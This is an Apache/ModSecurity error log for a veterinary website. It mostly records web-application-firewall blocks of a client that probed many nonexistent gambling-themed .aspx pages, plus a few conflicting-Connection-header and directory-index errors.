[Wed Mar 18 16:46:05.509853 2026] [:error] [pid 42871:tid 42933] [client 36.41.75.167:52803] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abpmTWPUS0lM1M9nUaIMAwAAAJM"]
[Wed Mar 18 17:13:44.565868 2026] [autoindex:error] [pid 31232:tid 31239] [client 103.4.122.14:53010] AH01276: Cannot serve directory /home/vetstars/public_html/indexing-test/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Mar 18 18:16:40.448144 2026] [:error] [pid 31232:tid 31247] [client 43.159.136.201:59844] [client 43.159.136.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abp7iGX6HV7dqh3BQD2z_gAAAEw"]
[Wed Mar 18 19:29:33.346267 2026] [:error] [pid 42870:tid 42888] [client 147.135.213.218:34494] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "abqMnZ6axlAooiuYyUwhDQAAAAM"]
[Wed Mar 18 19:29:36.356317 2026] [:error] [pid 20667:tid 20682] [client 147.135.213.218:54926] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "abqMoJgyfQyvBhzza_13cgAAAY0"]
[Wed Mar 18 19:29:39.180960 2026] [:error] [pid 53755:tid 53765] [client 147.135.213.218:54942] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "abqMo6qw5ZSRshmIhWkS3gAAAUg"]
[Wed Mar 18 19:29:41.694570 2026] [:error] [pid 53755:tid 53763] [client 147.135.213.218:54958] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abqMpaqw5ZSRshmIhWkS6gAAAUY"]
[Wed Mar 18 19:29:44.676505 2026] [:error] [pid 42870:tid 42907] [client 147.135.213.218:36824] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "abqMqJ6axlAooiuYyUwhFQAAABY"]
[Wed Mar 18 19:29:46.990401 2026] [:error] [pid 53755:tid 53765] [client 147.135.213.218:36830] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abqMqqqw5ZSRshmIhWkS9gAAAUg"]
[Wed Mar 18 19:29:49.526829 2026] [:error] [pid 42870:tid 42895] [client 147.135.213.218:36842] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abqMrZ6axlAooiuYyUwhGQAAAAo"]
[Wed Mar 18 19:29:52.561175 2026] [:error] [pid 53755:tid 53763] [client 147.135.213.218:36846] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abqMsKqw5ZSRshmIhWkTDwAAAUY"]
[Wed Mar 18 19:29:55.095564 2026] [:error] [pid 31232:tid 31254] [client 147.135.213.218:45016] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abqMs2X6HV7dqh3BQD3XqAAAAFM"]
[Wed Mar 18 19:29:58.188481 2026] [:error] [pid 20667:tid 20686] [client 147.135.213.218:45028] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abqMtpgyfQyvBhzza_13fAAAAZE"]
[Wed Mar 18 19:30:00.931148 2026] [:error] [pid 42870:tid 42895] [client 147.135.213.218:45042] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abqMuJ6axlAooiuYyUwhIgAAAAo"]
[Wed Mar 18 19:30:03.548583 2026] [:error] [pid 20667:tid 20684] [client 147.135.213.218:56958] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abqMu5gyfQyvBhzza_13gwAAAY8"]
[Wed Mar 18 19:30:06.191569 2026] [:error] [pid 20667:tid 20690] [client 147.135.213.218:56970] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abqMvpgyfQyvBhzza_13iQAAAZU"]
[Wed Mar 18 19:30:09.180476 2026] [:error] [pid 20667:tid 20679] [client 147.135.213.218:56972] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abqMwZgyfQyvBhzza_13jQAAAYo"]
[Wed Mar 18 19:30:11.556446 2026] [:error] [pid 53755:tid 53774] [client 147.135.213.218:56984] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abqMw6qw5ZSRshmIhWkThAAAAVE"]
[Wed Mar 18 19:30:14.866755 2026] [:error] [pid 53755:tid 53778] [client 147.135.213.218:53262] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abqMxqqw5ZSRshmIhWkTngAAAVU"]
[Wed Mar 18 19:30:17.474971 2026] [:error] [pid 53755:tid 53768] [client 147.135.213.218:53278] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "abqMyaqw5ZSRshmIhWkTogAAAUs"]
[Wed Mar 18 19:30:20.593031 2026] [:error] [pid 53755:tid 53780] [client 147.135.213.218:53294] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "abqMzKqw5ZSRshmIhWkTpQAAAVc"]
[Wed Mar 18 19:30:23.301530 2026] [:error] [pid 53755:tid 53773] [client 147.135.213.218:50482] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "abqMz6qw5ZSRshmIhWkTsAAAAVA"]
[Wed Mar 18 19:30:26.386685 2026] [:error] [pid 42970:tid 42981] [client 147.135.213.218:50496] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "abqM0o5YFUj4vBJI0KQv_QAAAMk"]
[Wed Mar 18 19:30:28.837836 2026] [:error] [pid 43009:tid 43015] [client 147.135.213.218:50498] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "abqM1H8aUp4Sm6m3nmMtPwAAAQQ"]
[Wed Mar 18 19:31:15.449423 2026] [:error] [pid 42871:tid 42937] [client 147.135.213.218:50506] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "abqNA2PUS0lM1M9nUaJS4wAAAJc"]
[Wed Mar 18 19:31:17.986826 2026] [:error] [pid 42871:tid 42936] [client 147.135.213.218:52058] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "abqNBWPUS0lM1M9nUaJS5wAAAJY"]
[Wed Mar 18 19:31:20.467110 2026] [:error] [pid 42970:tid 42984] [client 147.135.213.218:52074] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abqNCI5YFUj4vBJI0KQwCAAAAMw"]
[Wed Mar 18 19:31:22.835599 2026] [:error] [pid 31232:tid 31245] [client 147.135.213.218:58638] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abqNCmX6HV7dqh3BQD3YdQAAAEo"]
[Wed Mar 18 19:31:25.231513 2026] [:error] [pid 42870:tid 42908] [client 147.135.213.218:58644] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "abqNDZ6axlAooiuYyUwhYwAAABc"]
[Wed Mar 18 19:31:27.856579 2026] [:error] [pid 53755:tid 53768] [client 147.135.213.218:58660] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "abqND6qw5ZSRshmIhWkUHQAAAUs"]
[Wed Mar 18 19:31:30.285080 2026] [:error] [pid 42871:tid 42929] [client 147.135.213.218:58672] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "abqNEmPUS0lM1M9nUaJS-QAAAI8"]
[Wed Mar 18 19:31:32.754098 2026] [:error] [pid 42870:tid 42890] [client 147.135.213.218:37254] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "abqNFJ6axlAooiuYyUwhaAAAAAU"]
[Wed Mar 18 19:31:35.269394 2026] [:error] [pid 31232:tid 31259] [client 147.135.213.218:37266] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abqNF2X6HV7dqh3BQD3YhgAAAFg"]
[Wed Mar 18 19:31:37.709118 2026] [:error] [pid 42871:tid 42918] [client 147.135.213.218:37278] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abqNGWPUS0lM1M9nUaJTCAAAAIQ"]
[Wed Mar 18 19:31:40.257333 2026] [:error] [pid 42970:tid 42981] [client 147.135.213.218:37282] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abqNHI5YFUj4vBJI0KQwDwAAAMk"]
[Wed Mar 18 19:31:42.667048 2026] [:error] [pid 42870:tid 42896] [client 147.135.213.218:43818] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abqNHp6axlAooiuYyUwheQAAAAs"]
[Wed Mar 18 19:31:45.133145 2026] [:error] [pid 31232:tid 31250] [client 147.135.213.218:43824] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abqNIWX6HV7dqh3BQD3YmgAAAE8"]
[Wed Mar 18 19:31:47.870151 2026] [:error] [pid 42970:tid 42987] [client 147.135.213.218:43838] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abqNI45YFUj4vBJI0KQwFAAAAM8"]
[Wed Mar 18 19:31:50.287125 2026] [:error] [pid 20667:tid 20692] [client 147.135.213.218:43848] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abqNJpgyfQyvBhzza_13ygAAAZc"]
[Wed Mar 18 19:31:52.750662 2026] [:error] [pid 53755:tid 53766] [client 147.135.213.218:35676] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "abqNKKqw5ZSRshmIhWkUMgAAAUk"]
[Wed Mar 18 19:31:55.282910 2026] [:error] [pid 53755:tid 53776] [client 147.135.213.218:35690] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "abqNK6qw5ZSRshmIhWkUOQAAAVM"]
[Wed Mar 18 19:31:57.709804 2026] [:error] [pid 42870:tid 42893] [client 147.135.213.218:35692] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "abqNLZ6axlAooiuYyUwhkAAAAAg"]
[Wed Mar 18 19:32:00.274934 2026] [:error] [pid 53755:tid 53760] [client 147.135.213.218:35698] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "abqNMKqw5ZSRshmIhWkUSAAAAUM"]
[Wed Mar 18 19:32:02.718806 2026] [:error] [pid 42871:tid 42937] [client 147.135.213.218:50234] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abqNMmPUS0lM1M9nUaJTPgAAAJc"]
[Wed Mar 18 19:32:05.107866 2026] [:error] [pid 42970:tid 42983] [client 147.135.213.218:50240] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abqNNY5YFUj4vBJI0KQwHAAAAMs"]
[Wed Mar 18 19:32:07.462082 2026] [:error] [pid 31232:tid 31241] [client 147.135.213.218:50246] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "abqNN2X6HV7dqh3BQD3YowAAAEY"]
[Wed Mar 18 19:32:10.123816 2026] [:error] [pid 42871:tid 42931] [client 147.135.213.218:50258] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abqNOmPUS0lM1M9nUaJTTwAAAJE"]
[Wed Mar 18 19:33:00.974194 2026] [:error] [pid 42871:tid 42927] [client 147.135.213.218:50274] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "abqNbGPUS0lM1M9nUaJTowAAAI0"]
[Wed Mar 18 19:33:05.016601 2026] [:error] [pid 42871:tid 42926] [client 147.135.213.218:41670] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "abqNcWPUS0lM1M9nUaJTpgAAAIw"]
[Wed Mar 18 19:33:07.841345 2026] [:error] [pid 31232:tid 31253] [client 147.135.213.218:41680] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abqNc2X6HV7dqh3BQD3ZEAAAAFI"]
[Wed Mar 18 19:33:10.607437 2026] [:error] [pid 31232:tid 31258] [client 147.135.213.218:41682] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abqNdmX6HV7dqh3BQD3ZFwAAAFc"]
[Wed Mar 18 19:33:13.537311 2026] [:error] [pid 31232:tid 31238] [client 147.135.213.218:53250] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abqNeWX6HV7dqh3BQD3ZKQAAAEM"]
[Wed Mar 18 19:33:16.427970 2026] [:error] [pid 31232:tid 31252] [client 147.135.213.218:53256] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abqNfGX6HV7dqh3BQD3ZQQAAAFE"]
[Wed Mar 18 19:33:19.132547 2026] [:error] [pid 42970:tid 42977] [client 147.135.213.218:53270] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abqNf45YFUj4vBJI0KQwOgAAAMU"]
